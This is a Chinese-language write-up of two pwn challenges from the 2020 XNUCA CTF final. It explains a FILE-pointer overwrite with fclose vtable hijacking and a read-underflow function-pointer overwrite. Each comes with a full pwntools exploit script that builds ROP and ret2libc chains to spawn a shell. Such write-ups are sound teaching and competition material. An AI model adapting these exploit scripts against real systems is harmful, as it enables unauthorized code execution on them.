2020 XNUCA Final 个人赛 PWN WriteUp

pwn1

首先看一下程序，程序提供了一个打开和读取文件的功能，首先是输入了一个任意长度的name，然后进入main函数

int __usercall hello@<eax>(int a1@<ebp>)
{
  int v2; // [esp-4h] [ebp-4h]

  __asm { endbr32 }
  v2 = a1;
  puts("welcome to baby xnuca2020~");
  puts("I want to know your name");
  _isoc99_scanf("%s", you);
  return printf("Hello %s, I have kept you in mind\n", (unsigned int)you);
}
unsigned int __usercall menu@<eax>(int a1@<ebp>)
{
  int v2; // [esp-24h] [ebp-24h]
  int v3; // [esp-20h] [ebp-20h]
  unsigned int v4; // [esp-10h] [ebp-10h]
  int v5; // [esp-4h] [ebp-4h]

  __asm { endbr32 }
  v5 = a1;
  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.Read a file");
      puts("2.Print a file");
      puts("3.Exit");
      puts("> ");
      _isoc99_scanf("%s", &v3);
      v2 = atoi(&v3);
      if ( v2 != 2 )
        break;
      xPrint((int)&v5);
    }
    if ( v2 == 3 )
      break;
    if ( v2 == 1 )
      xRead();
    else
      puts("Invalid choise");
  }
  if ( you[8] )
    fclose(you[8]);
  return __readgsdword(0x14u) ^ v4;
}

注意到我们在输入name的时候可以直接覆写you[8]也就是FILE指针，由于程序是静态编译的32位，因此这里我们可以直接覆写vtable，利用fclose劫持控制流。但是程序中不存在后门函数，但是存在一个garbage函数，该函数可以直接造成栈溢出，执行rop。

在找gadget的时候需要注意scanf， exp如下

# encoding=utf-8
from pwn import *

file_path = "./pwn1"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x0804A1DA\n b *0x0804A0F1")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0


fake_io_address = 0x08104CE4
garbage_address = 0x0804A0C0
bin_sh_address = 0x08104CC0


fake_io = p32(0xffffdfff)
fake_io += b"\x00"*0x90
fake_io += p32(fake_io_address + 0x90)
fake_io += p32(garbage_address)

payload = b"/bin/sh\x00".ljust(0x20, b"\x00")
payload += p32(fake_io_address) + fake_io

p.sendlineafter("your name\n", payload)

p.sendlineafter("> ", "3")

p_eax_r = 0x080cb04a
p_eax_xx_r = 0x08066038 # pop eax; pop edx; pop ebx; ret;
inc_eax_r = 0x0808f26e
p_ebx_r = 0x08049022
syscall = 0x0807216d
xor_ecx = 0x0804ab3f # xor ecx, ecx; int 0x80;
payload = b"a"*0x20
payload += p32(p_eax_xx_r) + p32(8) + p32(0) + p32(bin_sh_address)
payload += p32(inc_eax_r) * 3 + p32(xor_ecx)
p.sendline(payload)

p.interactive()

pwn2

是个read函数越界的问题，漏洞位于XRead函数中

v2 = get_num();
if ( v2 < 0 )
{
  puts("error");
  exit(0);
}
puts("Digest: ");
do
{
  if ( v1 >= v2 )
    break;
  v1 += read(0, (char *)&you[0x42] + v1, v2 - v1);
}
while ( *((_BYTE *)&you[65] + v1 + 3) != 10 );

用户首先输入长度，然后函数根据用户输入的长度向bss段中读取数据。但是需要注意的是，这里的长度并没有做任何的限制，而bss段的长度是有限的。

0x8048000  0x8049000 r--p     1000 0      /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x8049000  0x804a000 r-xp     1000 1000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x804a000  0x804b000 r--p     1000 2000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x804b000  0x804c000 r--p     1000 2000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2 // << bss_end
0x804c000  0x804d000 rw-p     1000 3000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2

在动态链接的read函数中如果用户的输入超过了边界，并且边界之后不可写，那么read就会返回-1，那么就会变为v1+=-1，也就是会造成上溢出。

那么我们设置长度为bss_end-&you[0x42] + 4，也就是多输入4个字节，那么我们输入的内容就会覆写you[0x41]位置处的函数指针。将其覆写为garbage函数的地址，就可以利用该函数内部的栈溢出了。

# encoding=utf-8
from pwn import *

file_path = "pwn2"
context.arch = "i386"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x08049650")
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0


def readfile(path, size, content):
    p.sendlineafter("> \n", "1")
    p.sendlineafter("file path: ", path)
    p.sendlineafter("Digest length: ", str(size))
    p.sendafter("Digest: ", content)


p.sendlineafter("your name again", "a\n")
p.recvuntil("present to you.\n")
calloc_address = int(p.recvline().strip(b"\n")[2:], 16)
libc.address = calloc_address - libc.sym['calloc']
log.success("calloc address is {}".format(hex(calloc_address)))
log.success("libc address is {}".format(hex(libc.address)))
system_address = libc.sym['system']
bin_sh_address = libc.search(b"/bin/sh").__next__()
exit_address = libc.sym['exit']

length = 0xe78+0x4
garbage = 0x0804970F
readfile("./flag", length, p32(garbage) + b"a"*(length - 0x5) + b"\n")

p.sendlineafter("> \n", "3")

payload = b"a"*0x1c + p32(0xdeadbeef)
payload += p32(system_address) + p32(exit_address) + p32(bin_sh_address)
p.sendline(payload)

p.interactive()